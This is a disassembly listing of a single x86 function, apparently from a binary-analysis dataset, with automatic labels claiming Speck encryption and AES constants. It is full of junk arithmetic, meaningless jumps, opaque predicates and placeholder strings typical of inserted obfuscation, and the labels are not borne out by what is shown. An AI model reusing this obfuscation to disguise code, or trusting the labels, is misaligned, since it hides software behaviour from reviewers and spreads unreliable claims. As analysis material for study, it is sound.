Function at 0x448b20
Capabilities:
Encrypt data using speck
Manually build aes constants

Disassembly:
push eax
push 0x18b2
pop eax
add eax, 0x6f3e2
shl eax, 0xfb
inc eax
xor eax, 0xc300b
push 0x6873
pop eax
shr eax, 0x96
shl eax, 0xfd
add eax, 0x16a7a
shl eax, 0x1c
push 0x18246
pop eax
sub eax, 0x7f6de
add eax, 0x14f4f
sub eax, 0x1cfd1
add eax, 0x7656a
push 0x8b95
pop eax
inc eax
shr eax, 0x70
sar eax, 0x8f
add eax, 0x50513
pop eax
jmp 0x49aac3
jmp 0x47c2fb
jmp 0x4acd61
push eax
push 0x116d4
pop eax
dec eax
xor eax, 0x34944
push 0x14ce0
pop eax
shr eax, 0x9e
inc eax
pop eax
jmp 0x4450fd
push eax
push 0x16c48
pop eax
shl eax, 0x3b
shl eax, 0x37
inc eax
sub eax, 0xbea41
shl eax, 0x77
xor eax, 0x352f1
push 0x150fd
pop eax
add eax, 0x1888c
xor eax, 0x8f4b8
sar eax, 0xef
dec eax
dec eax
shl eax, 0x87
push 0x13614
pop eax
sar eax, 0x6b
shr eax, 0xb5
shl eax, 0xc8
xor eax, 0x570fd
xor eax, 0xc2dd5
shr eax, 0xde
push 0xe4a5
pop eax
shr eax, 0x9d
inc eax
shl eax, 3
shl eax, 0x63
inc eax
dec eax
push 0x5363
pop eax
add eax, 0x3bc6d
xor eax, 0xe53f7
dec eax
xor eax, 0x23a5f
sar eax, 0x57
sar eax, 0x30
push 0x74c4
pop eax
xor eax, 0x7e897
dec eax
sar eax, 0xe3
sar eax, 0x7b
dec eax
sub eax, 0x23bcc
pop eax
jmp 0x4a2bf0
push eax
push 0x14119
pop eax
shl eax, 0x2c
shr eax, 0x6b
add eax, 0x55c67
inc eax
shl eax, 0xc6
dec eax
push 0x12405
pop eax
sar eax, 0xaf
sub eax, 0x2f3da
dec eax
sar eax, 0x9a
shr eax, 0x29
shl eax, 0x3b
push 0x1481c
pop eax
shl eax, 0xb9
xor eax, 0x9c54f
shr eax, 0xa1
shr eax, 0xd0
shr eax, 0xb
xor eax, 0x6325
push 0x890b
pop eax
shl eax, 0x72
shr eax, 0x8f
shr eax, 0x51
dec eax
xor eax, 0xe4a9
sub eax, 0xda354
push 0x136f
pop eax
sar eax, 0x56
add eax, 0xb8fe7
sar eax, 0x52
xor eax, 0x16752
sar eax, 0x1d
sub eax, 0xcd48a
push 0x51ba
pop eax
sar eax, 0xdc
inc eax
shl eax, 0xc
dec eax
sar eax, 0x96
sub eax, 0x71f22
pop eax
jmp 0x4158a2
jmp 0x47919e
jmp 0x439ba7
jmp 0x425a76
jmp 0x42f557
push eax
push 0xc918
pop eax
shl eax, 0x31
sar eax, 0x20
xor eax, 0x61b41
shr eax, 0xc8
push 0x4ac0
pop eax
inc eax
sub eax, 0x27cae
dec eax
shr eax, 0xf8
push 0xd145
pop eax
inc eax
sub eax, 0x460de
shl eax, 0xc
shl eax, 0xe9
push 0x2906
pop eax
shl eax, 0xd
xor eax, 0x440c6
dec eax
xor eax, 0x25492
pop eax
jmp 0x49bf6d
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d82c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x81c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x44cc4c
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
movzx eax, byte [edx]
test eax, eax
je 0x44cc40
mov dword [ebp - 0xa0], 0xfffffff8
mov dword [ebp - 0x54c], 0x2fdcba86
mov dword [ebp - 0xa0], 0
jmp 0x448b9a
mov ecx, dword [ebp - 0xa0]
sub ecx, 1
mov dword [ebp - 0xa0], ecx
cmp dword [ebp - 0xa0], 0xffffffff
jg 0x448c0b
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x55c], 0
mov dword [ebp - 0x554], 0xfffffff7
push 0x5d57
push 1
push 0x6df1
push 0
push 0x3366
lea edx, [ebp - 0x54c]
push edx
push 0x6bdc
push 0x3434
lea eax, [ebp - 0x554]
push eax
push 0x294
lea ecx, [ebp - 0x55c]
push ecx
lea edx, [ebp - 0x564]
push edx
push 0
call fcn.0044e5d0
add esp, 0x34
jmp 0x448b8b
mov byte [ebp - 0x59], 0
push 0x284d
push 0x5ead
push 1
push 0x6f86
push 0x1f16
push 0x56d8
lea eax, [ebp - 0x59]
push eax
push 1
push 0x4435
push 0x78aa
push 0x7858
push 1
push 0x428e
call fcn.00445800
add esp, 0x34
mov dword [ebp - 0x420], 0x23d5
mov dword [ebp - 0x58c], 0x659d
mov dword [ebp - 0x6a0], 0xe8588d0d
mov dword [ebp - 0x6e4], 0xfffffffe
mov dword [ebp - 0x1cc], 0x60693009
mov dword [ebp - 0x6ac], 0xfffffffb
mov dword [ebp - 0x34c], 0xffffffff
mov dword [ebp - 0x70c], 0xc7dcd66a
mov dword [ebp - 0x4c0], 1
mov dword [ebp - 0x418], 0x7182b474
mov dword [ebp - 0x180], 0x7747bb7a
mov dword [ebp - 0x6b4], 1
mov dword [ebp - 0x63c], 0x31615e82
mov dword [ebp - 0x568], 0xfffffffd
mov dword [ebp - 0x638], 0x8cae
mov dword [ebp - 0xb8], 0x79ae4f78
mov dword [ebp - 0x17c], 5
mov dword [ebp - 0x2e8], 0x21ed
mov dword [ebp - 0x590], str.ktuvxg_fnzekw_rxqy_druipz_lrkja_vrlbsb_dkhzdib_oga_pnmguxtlq_pwuqm
cmp dword [ebp - 0x2e8], 0x22b4
jle 0x448e10
mov dword [ebp - 0x14c], 0
jmp 0x448d37
mov ecx, dword [ebp - 0x14c]
add ecx, 1
mov dword [ebp - 0x14c], ecx
cmp dword [ebp - 0x14c], 0x687a
jge 0x448e10
mov dword [ebp - 0xa8], 0
jmp 0x448d62
mov edx, dword [ebp - 0xa8]
add edx, 1
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0xa8], 0xb5a
jge 0x448e0b
mov dword [ebp - 0x128], 0
jmp 0x448d8d
mov eax, dword [ebp - 0x128]
add eax, 1
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xca2
jge 0x448e06
mov dword [ebp - 0xb0], 0
jmp 0x448db4
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
cmp dword [ebp - 0xb0], 0x5640
jge 0x448e01
mov eax, dword [ebp - 0x14c]
sub eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x128]
sar eax, cl
xor eax, dword [ebp - 0xb0]
cdq
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], edx
mov edx, dword [ebp - 0x4ec]
push edx
mov eax, dword [ebp - 0x4f0]
push eax
mov ecx, 0xa9b5f0
call fcn.00427f00
jmp 0x448da5
jmp 0x448d7e
jmp 0x448d53
jmp 0x448d28
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x5d8], 0
mov dword [ebp - 0x5d4], 0
mov dword [ebp - 0x5d0], 0
lea ecx, [ebp - 0x195]
call fcn.00407d20
push eax
lea ecx, [ebp - 0x5cc]
push ecx
lea edx, [ebp - 0x5dc]
push edx
lea ecx, [ebp - 0x764]
call fcn.00406600
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x59c]
call fcn.00428140
mov dword [ebp - 4], 0
cmp dword [ebp - 0x2e8], 0x2169
jge 0x448e96
mov eax, dword [ebp - 0x590]
push eax
push 0xa9b5f0
call fcn.00408780
add esp, 8
jmp 0x448eb2
mov dword [ebp - 4], 0xffffffff
jmp 0x448ec2
mov dword [ebp - 0x4c8], 0xfffffffa
mov dword [ebp - 0x168], 0
jmp 0x448ee7
mov ecx, dword [ebp - 0x168]
add ecx, 1
mov dword [ebp - 0x168], ecx
cmp dword [ebp - 0x168], 3
jge 0x448f03
mov edx, dword [ebp - 0x168]
mov dword [ebp + edx*4 - 0x75c], 0xe661fbc9
jmp 0x448ed8
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x4e4], ecx
mov edx, dword [ebp - 0x17c]
add edx, 1
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x408]
cmp eax, dword [ebp - 0x4e4]
jl 0x448f44
mov dword [ebp - 0x3bc], 1
jmp 0x448f4e
mov dword [ebp - 0x3bc], 0
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x180], ecx
cmp dword [ebp - 0x180], 0
jne 0x44906a
push 2
lea ecx, [ebp - 0x59c]
call fcn.004281c0
cmp dword [eax], 0
jne 0x449016
mov esi, dword [ebp - 0x180]
push 2
lea ecx, [ebp - 0x59c]
call fcn.004281c0
cmp esi, dword [eax]
jge 0x448fa0
mov dword [ebp - 0x3b4], 1
jmp 0x448faa
mov dword [ebp - 0x3b4], 0
mov edx, dword [ebp - 0xb8]
cmp dword [ebp - 0x3b4], edx
jg 0x448fc4
mov dword [ebp - 0x424], 1
jmp 0x448fce
mov dword [ebp - 0x424], 0
cmp dword [ebp - 0x4c0], 0
je 0x448fec
mov eax, 0x60e2efe8
test eax, eax
je 0x448fec
mov dword [ebp - 0x410], 1
jmp 0x448ff6
mov dword [ebp - 0x410], 0
push 2
lea ecx, [ebp - 0x59c]
call fcn.004281c0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x64c], ecx
cmp dword [ebp - 0x34c], 0
cmp dword [ebp - 0xb8], 0
jne 0x449034
cmp dword [ebp - 0xb8], 0
jne 0x449034
mov dword [ebp - 0x398], 0
jmp 0x44903e
mov dword [ebp - 0x398], 1
mov edx, dword [ebp - 0x398]
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x1cc]
add eax, dword [ebp - 0x568]
add eax, dword [ebp - 0x418]
jne 0x44906a
mov dword [ebp - 0x2cc], 0
jmp 0x449074
mov dword [ebp - 0x2cc], 1
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x75c]
cmp dword [ebp - 0x2cc], edx
jge 0x449097
mov dword [ebp - 0x1d4], 1
jmp 0x4490a1
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x34c]
mov dword [ebp - 0x4c8], eax
lea ecx, [ebp - 0x59c]
call fcn.004281a0
cmp dword [ebp - 0x420], 0x648
jge 0x44a7a1
mov dword [ebp - 0x1bc], 0xa5d6c05b
mov dword [ebp - 0x1b8], 0xa5d6c05b
mov dword [ebp - 0x1b4], 0xa5d6c05b
mov dword [ebp - 0x1b0], 0xa5d6c05b
mov dword [ebp - 0x1c], 0x7eede0b4
push 4
lea ecx, [ebp - 0x5f4]
call fcn.00428070
mov dword [ebp - 0x430], 0x8aac
mov dword [ebp - 0x57c], 0xffffffff
push 0
lea ecx, [ebp - 0x654]
push ecx
push 0x3116
push 0
push 0x4338
lea edx, [ebp - 0x5f4]
push edx
push 0x3858
call fcn.004437c0
add esp, 0x1c
mov dword [ebp - 0x1c], 0
jmp 0x449159
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x44928b
mov dword [ebp - 0x1dc], 0x8aaf0a9b
mov dword [ebp - 0x4d0], 0xfffffffd
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + edx*4 - 0x1bc]
cmp dword [ebp + ecx - 0x1bc], eax
jg 0x44919d
mov dword [ebp - 0x53c], 1
jmp 0x4491a7
mov dword [ebp - 0x53c], 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + ecx*4 - 0x1bc]
mov dword [ebp - 0x688], edx
mov eax, 4
shl eax, 0
cmp dword [ebp + eax - 0x1bc], 0
je 0x4491cd
cmp dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + edx*4 - 0x1bc]
cmp dword [ebp + ecx*4 - 0x1bc], eax
jne 0x4491ef
mov dword [ebp - 0x428], 1
jmp 0x4491f9
mov dword [ebp - 0x428], 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + ecx*4 - 0x1bc]
mov dword [ebp - 0x1dc], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1bc]
cmp dword [ebp - 0x1dc], ecx
jl 0x449227
mov dword [ebp - 0x2d4], 1
jmp 0x449231
mov dword [ebp - 0x2d4], 0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + edx*4 - 0x1bc]
cmp eax, dword [ebp - 0x2d4]
jle 0x44924f
mov dword [ebp - 0x1e4], 1
jmp 0x449259
mov dword [ebp - 0x1e4], 0
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0x1e4], ecx
jg 0x449270
mov dword [ebp - 0x38c], 1
jmp 0x44927a
mov dword [ebp - 0x38c], 0
mov edx, dword [ebp - 0x38c]
mov dword [ebp - 0x4d0], edx
jmp 0x449150
cmp dword [ebp - 0x1c], 0xe7c14ab6
jae 0x4492a0
mov dword [ebp - 0x1ec], 1
jmp 0x4492aa
mov dword [ebp - 0x1ec], 0
cmp dword [ebp - 0x1ec], 0xfffffffe
jg 0x4492bf
mov dword [ebp - 0x354], 1
jmp 0x4492c9
mov dword [ebp - 0x354], 0
push 2
lea ecx, [ebp - 0x5f4]
call fcn.004281c0
mov dword [eax], 1
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + ecx - 0x1bc]
add edx, 0x293afae3
cmp edx, 1
jle 0x449302
mov dword [ebp - 0x2dc], 1
jmp 0x44930c
mov dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xffffffff
je 0x449321
mov dword [ebp - 0x1f4], 1
jmp 0x44932b
mov dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1f4]
sub eax, 1
cmp dword [ebp - 0x354], eax
jg 0x449348
mov dword [ebp - 0x1fc], 1
jmp 0x449352
mov dword [ebp - 0x1fc], 0
mov ecx, dword [ebp - 0x1fc]
sub ecx, dword [ebp - 0x430]
mov dword [ebp - 0x57c], ecx
lea ecx, [ebp - 0x5f4]
call fcn.004281a0
call fcn.004bf33c
mov edx, 0x20
imul ecx, edx, 0
add eax, ecx
push eax
push 0xa88468
push str.mcmf.txt
call fcn.004bf5a0
add esp, 0xc
push 0
push 0x74c2
push 1
push 0x4bc7
push 1
call fcn.00446ec0
add esp, 0x14
call fcn.004bf33c
mov edx, 0x20
imul ecx, edx, 0
add eax, ecx
push eax
push 0xa88478
push str.dinic.txt
call fcn.004bf5a0
add esp, 0xc
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x690], 0x8bc588e1
mov dword [ebp - 0x698], 1
mov dword [ebp - 0x440], 0xfffffffa
mov dword [ebp - 0x578], 7
mov dword [ebp - 0x4d8], 0xffffffff
mov dword [ebp - 0x548], 0xfffffffe
mov dword [ebp - 0x550], 0x4c38b6b0
mov dword [ebp - 0x634], 1
mov dword [ebp - 0x6a8], 0x80e033c2
mov dword [ebp - 0x6b0], 1
mov dword [ebp - 0x23c], 0xfffffffb
mov dword [ebp - 0x35c], 0x44b0bf24
mov dword [ebp - 0x304], 4
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x448], 0x1a93826a
mov dword [ebp - 0x5c8], 0x4d39d982
mov dword [ebp - 0x5c4], 0x4d39d982
mov dword [ebp - 0x5c0], 0x4d39d982
mov dword [ebp - 0x5bc], 0x4d39d982
lea ecx, [ebp - 0x16d]
call fcn.00407d20
push eax
lea edx, [ebp - 0x5b8]
push edx
lea eax, [ebp - 0x5c8]
push eax
lea ecx, [ebp - 0x774]
call fcn.00406600
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x600]
call fcn.00428140
mov dword [ebp - 0x2e4], 0x2bf3
mov dword [ebp - 0x438], str.kmtizgxxl_rdb_xkrupyuuo_lwgasc_vupdapfd_kibo_polsdnico_nbv
cmp dword [ebp - 0x2e4], 0x2dd9
jle 0x449532
mov dword [ebp - 0x130], 0
jmp 0x449502
mov eax, dword [ebp - 0x130]
add eax, 1
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x2dea
jge 0x449532
push 0x18c4
push 1
push 0x6dbc
push 1
push 0x3611
lea ecx, [ebp - 0x130]
push ecx
call fcn.00445f20
add esp, 0x18
jmp 0x4494f3
mov dword [ebp - 0x190], 0xfffffff8
push 0x5c0d
push 1
push 1
lea edx, [ebp - 0x2e4]
push edx
lea eax, [ebp - 0x438]
push eax
push 0xcf3
push 0x47c9
call fcn.00446020
add esp, 0x1c
mov dword [ebp - 0x188], 0x5b481d3e
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x460], 1
mov ecx, dword [ebp - 0x23c]
cmp dword [ebp - 0x4d8], ecx
jge 0x44959d
mov dword [ebp - 0x204], 1
jmp 0x4495a7
mov dword [ebp - 0x204], 0
mov edx, dword [ebp - 0x440]
cmp edx, dword [ebp - 0x204]
jge 0x4495ca
mov eax, 9
test eax, eax
je 0x4495ca
mov dword [ebp - 0x3c0], 1
jmp 0x4495d4
mov dword [ebp - 0x3c0], 0
push 0
lea ecx, [ebp - 0x600]
call fcn.004281c0
mov ecx, dword [ebp - 0x3c0]
cmp ecx, dword [eax]
jl 0x4495f7
mov dword [ebp - 0x20c], 1
jmp 0x449601
mov dword [ebp - 0x20c], 0
mov edx, dword [ebp - 0x20c]
neg edx
cmp edx, 0xc7a2e428
jne 0x44961d
mov dword [ebp - 0x2ec], 1
jmp 0x449627
mov dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x548]
cmp dword [ebp - 0x2ec], eax
jg 0x449641
mov dword [ebp - 0x214], 1
jmp 0x44964b
mov dword [ebp - 0x214], 0
mov ecx, dword [ebp - 0x304]
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x224]
imul edx, dword [ebp - 0x214]
mov dword [ebp - 0x35c], edx
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0x60], eax
jge 0x44967e
mov dword [ebp - 0x21c], 1
jmp 0x449688
mov dword [ebp - 0x21c], 0
mov ecx, dword [ebp - 0x448]
cmp dword [ebp - 0x21c], ecx
jne 0x4496a2
mov dword [ebp - 0x2f4], 1
jmp 0x4496ac
mov dword [ebp - 0x2f4], 0
mov edx, dword [ebp - 0x190]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x450], eax
mov ecx, dword [ebp - 0x190]
sub ecx, 1
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp - 0x4e0]
cmp edx, dword [ebp - 0x450]
jl 0x4496ed
mov dword [ebp - 0x394], 1
jmp 0x4496f7
mov dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp - 0x394]
jne 0x449711
mov dword [ebp - 0x22c], 1
jmp 0x44971b
mov dword [ebp - 0x22c], 0
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x188], ecx
cmp dword [ebp - 0x188], 0x9eed
je 0x44973f
mov dword [ebp - 0x2fc], 1
jmp 0x449749
mov dword [ebp - 0x2fc], 0
cmp dword [ebp - 0x2fc], 0x1597
jl 0x449761
mov dword [ebp - 0x234], 1
jmp 0x44976b
mov dword [ebp - 0x234], 0
mov edx, dword [ebp - 0x578]
cmp dword [ebp - 0x234], edx
jne 0x449785
mov dword [ebp - 0x364], 1
jmp 0x44978f
mov dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0x364], eax
jge 0x449840
mov dword [ebp - 0x3fc], 0x1a1fd29c
mov dword [ebp - 0x60], 3
jmp 0x4497bd
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x60], 0
jl 0x4497ee
mov dword [ebp - 0x6b8], 0xfffffffd
lea edx, [ebp - 0x3fc]
push edx
push 0x1fbe
push 1
push 0x7c53
push 1
push 0
call fcn.00442e30
add esp, 0x18
jmp 0x4497b4
push 0x2788
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x460]
push ecx
push 1
push 0x529c
lea edx, [ebp - 0x188]
push edx
push 0x6675
push 0x6886
push 0x513
push 0x31d
push 1
push 0x246f
lea eax, [ebp - 0x23c]
push eax
push 0x7a42
call fcn.004461b0
add esp, 0x38
jmp 0x44987e
mov dword [ebp - 0x468], 0
lea ecx, [ebp - 0x304]
push ecx
push 0
lea edx, [ebp - 0x550]
push edx
push 0x389b
lea eax, [ebp - 0x60]
push eax
push 0x568f
push 1
push 0x7b5
lea ecx, [ebp - 0x468]
push ecx
call fcn.00444910
add esp, 0x24
lea ecx, [ebp - 0x600]
call fcn.004281a0
push 0x1b8f
push 1
push 1
push 0x103c
call fcn.004426d0
add esp, 0x10
mov dword [ebp - 0x4f4], 0x2c03342e
mov dword [ebp - 0x470], 1
push 3
lea ecx, [ebp - 0x618]
call fcn.00428070
mov dword [ebp - 0xc0], 0
jmp 0x4498db
mov edx, dword [ebp - 0xc0]
add edx, 1
mov dword [ebp - 0xc0], edx
cmp dword [ebp - 0xc0], 3
jge 0x4498fe
mov eax, dword [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x618]
call fcn.004281c0
mov dword [eax], 0xc4530722
jmp 0x4498cc
push 1
lea ecx, [ebp - 0x4f4]
push ecx
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x470]
push eax
push 0x492b
push 0
push 0x5b7c
call fcn.0044f360
add esp, 0x1c
push 1
push 1
push 0x3512
call fcn.00446410
add esp, 0xc
lea ecx, [ebp - 0x618]
call fcn.004281a0
call fcn.004bf33c
mov ecx, 0x20
imul edx, ecx, 0
add eax, edx
push eax
push 0xa884c4
push str.rule.txt
call fcn.004bf5a0
add esp, 0xc
mov dword [ebp - 0x264], 0x5b48
mov dword [ebp - 0x480], str.hlreceo_xqzribms_eikkvavb_nvrwer_audzlij_bnqz_rmjqiohh_rau_jsgciqdf_igjlaagud
cmp dword [ebp - 0x264], 0x5dd0
jle 0x449a6b
mov dword [ebp - 0x150], 0
jmp 0x4499a6
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x7e11
jge 0x449a6b
mov dword [ebp - 0xc8], 0
jmp 0x4499d1
mov ecx, dword [ebp - 0xc8]
add ecx, 1
mov dword [ebp - 0xc8], ecx
cmp dword [ebp - 0xc8], 0x6519
jge 0x449a66
mov dword [ebp - 0x138], 0
jmp 0x4499fc
mov edx, dword [ebp - 0x138]
add edx, 1
mov dword [ebp - 0x138], edx
cmp dword [ebp - 0x138], 0x47b8
jge 0x449a61
mov eax, dword [ebp - 0x150]
sub eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x138]
cdq
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], edx
mov eax, dword [ebp - 0x4f8]
push eax
mov ecx, dword [ebp - 0x4fc]
push ecx
lea edx, [ebp - 0x798]
push edx
call fcn.00409670
add esp, 0xc
mov ecx, eax
call fcn.004078f0
push eax
call fcn.004bef16
add esp, 4
lea ecx, [ebp - 0x798]
call fcn.00407870
jmp 0x4499ed
jmp 0x4499c2
jmp 0x449997
mov dword [ebp - 0x64], 1
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0x24c], 0xacee6178
mov dword [ebp - 0x500], 0xf444
push 4
lea ecx, [ebp - 0x60c]
call fcn.00428070
mov dword [ebp - 0x6c0], 0xffffffff
push 1
push 0x5f67
lea eax, [ebp - 0x60c]
push eax
push 1
push 0x694d
push 0
lea ecx, [ebp - 0x8c]
push ecx
call fcn.00446d60
add esp, 0x1c
mov dword [ebp - 0x8c], 0
jmp 0x449ae8
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
cmp dword [ebp - 0x8c], 2
jge 0x449b04
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x660], 0xffffffff
jmp 0x449ad9
push 1
push 0x2b85
push 1
push 0x43be
push 0
call fcn.00446ec0
add esp, 0x14
cmp dword [ebp - 0x64], 0xd9cd
jl 0x449b31
mov dword [ebp - 0x244], 1
jmp 0x449b3b
mov dword [ebp - 0x244], 0
mov ecx, dword [ebp - 0x244]
sub ecx, 0xffff
cmp ecx, dword [ebp - 0xd0]
jle 0x449b5b
mov dword [ebp - 0x3b8], 1
jmp 0x449b65
mov dword [ebp - 0x3b8], 0
mov edx, dword [ebp - 0x3b8]
mov dword [ebp - 0x24c], edx
cmp dword [ebp - 0x24c], 0xfff7
jae 0x449b89
mov dword [ebp - 0x30c], 1
jmp 0x449b93
mov dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x30c]
add eax, 1
cmp dword [ebp - 0x64], eax
jne 0x449bad
mov dword [ebp - 0x580], 1
jmp 0x449bb7
mov dword [ebp - 0x580], 0
cmp dword [ebp - 0x64], 0xfff9
jne 0x449bcc
mov dword [ebp - 0x254], 1
jmp 0x449bd6
mov dword [ebp - 0x254], 0
cmp dword [ebp - 0x254], 0xffffffff
jge 0x449beb
mov dword [ebp - 0x36c], 1
jmp 0x449bf5
mov dword [ebp - 0x36c], 0
mov ecx, dword [ebp - 0x64]
cmp dword [ebp - 0x36c], ecx
jne 0x449c15
cmp dword [ebp - 0xd0], 0
jne 0x449c15
mov dword [ebp - 0x25c], 0
jmp 0x449c1f
mov dword [ebp - 0x25c], 1
mov edx, dword [ebp - 0xd0]
cmp dword [ebp - 0x25c], edx
jge 0x449c39
mov dword [ebp - 0x478], 1
jmp 0x449c43
mov dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x6c8], eax
mov esi, dword [ebp - 0x500]
push 0
lea ecx, [ebp - 0x60c]
call fcn.004281c0
mov dword [eax], esi
mov ecx, dword [ebp - 0x64]
cmp dword [ebp - 0xd0], ecx
jl 0x449c78
mov dword [ebp - 0x314], 1
jmp 0x449c82
mov dword [ebp - 0x314], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x314]
mov dword [ebp + eax - 0x660], ecx
lea ecx, [ebp - 0x60c]
call fcn.004281a0
mov dword [ebp - 4], 2
cmp dword [ebp - 0x264], 0x5840
jge 0x449cc4
mov edx, dword [ebp - 0x480]
push edx
call fcn.004bef16
add esp, 4
jmp 0x449ce0
mov dword [ebp - 4], 0xffffffff
jmp 0x449cf0
mov dword [ebp - 0x160], 1
jmp 0x449d0b
mov eax, dword [ebp - 0x160]
add eax, 1
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x50
jg 0x449d31
mov ecx, dword [ebp - 0x160]
lea edx, [ecx*4 + 0xb9ce78]
push edx
push str._d_d
call fcn.004bf202
add esp, 8
jmp 0x449cfc
push 2
lea ecx, [ebp - 0x624]
call fcn.00428070
mov dword [ebp - 0x50c], 5
push 1
lea ecx, [ebp - 0x630]
call fcn.00428070
mov dword [ebp - 0x490], 0xfffe
mov dword [ebp - 0x39c], 0x5e0c
mov dword [ebp - 0x558], str.uussogvv_lxyucnzoe_mxcpdk_kkpbkqb_oja_tbokaxdbb_sonhbq_brxb_xzg_fwunmncwy_hqiyhdte_nsydsvyem
cmp dword [ebp - 0x39c], 0x5ef9
jle 0x449e9e
mov dword [ebp - 0xd8], 0
jmp 0x449d9e
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x1aa1
jge 0x449e9e
mov dword [ebp - 0x94], 0
jmp 0x449dc9
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
cmp dword [ebp - 0x94], 0x51ba
jge 0x449e99
mov dword [ebp - 0xe0], 0
jmp 0x449df4
mov edx, dword [ebp - 0xe0]
add edx, 1
mov dword [ebp - 0xe0], edx
cmp dword [ebp - 0xe0], 0x495f
jge 0x449e94
mov dword [ebp - 0x140], 0
jmp 0x449e1f
mov eax, dword [ebp - 0x140]
add eax, 1
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x7d4f
jge 0x449e8f
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xe0]
sar eax, cl
mov ecx, dword [ebp - 0x140]
shl eax, cl
cdq
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], edx
mov ecx, dword [ebp - 0x504]
push ecx
mov edx, dword [ebp - 0x508]
push edx
lea eax, [ebp - 0x7bc]
push eax
call fcn.00409670
add esp, 0xc
mov ecx, eax
call fcn.004078f0
push eax
call fcn.004bef16
add esp, 4
lea ecx, [ebp - 0x7bc]
call fcn.00407870
jmp 0x449e10
jmp 0x449de5
jmp 0x449dba
jmp 0x449d8f
mov dword [ebp - 0x488], 0x34f1d4b0
mov dword [ebp - 4], 4
cmp dword [ebp - 0x39c], 0x5c66
jge 0x449eca
mov ecx, dword [ebp - 0x558]
push ecx
call fcn.004bef16
add esp, 4
jmp 0x449ee6
mov dword [ebp - 4], 0xffffffff
jmp 0x449ef6
mov dword [ebp - 0x6d0], 2
push 0x7b77
push 0x9e2
lea edx, [ebp - 0x624]
push edx
lea eax, [ebp - 0x7c]
push eax
push 1
push 1
call fcn.00442c40
add esp, 0x18
mov dword [ebp - 0x7c], 0
jmp 0x449f33
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
cmp dword [ebp - 0x7c], 1
jge 0x449f50
mov edx, dword [ebp - 0x7c]
push edx
lea ecx, [ebp - 0x630]
call fcn.004281c0
mov dword [eax], 0xfffffffc
